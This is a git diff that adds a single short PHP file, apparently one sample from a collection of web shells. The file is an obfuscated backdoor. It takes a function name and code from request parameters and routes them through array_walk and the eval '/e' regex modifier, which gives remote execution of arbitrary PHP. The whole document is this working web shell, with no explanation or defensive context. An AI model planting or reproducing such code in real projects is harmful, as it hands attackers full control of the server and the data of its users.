diff --git a/php/2020.08.20.13.php b/php/2020.08.20.13.php
new file mode 100644
index 0000000..6ed4f08
--- /dev/null
+++ b/php/2020.08.20.13.php
@@ -0,0 +1,5 @@
+<?php 
+  $e = $_REQUEST['e'];
+  $arr = array($_POST['x'] => '|.*|e',);
+    array_walk($arr, $e, '');
+?>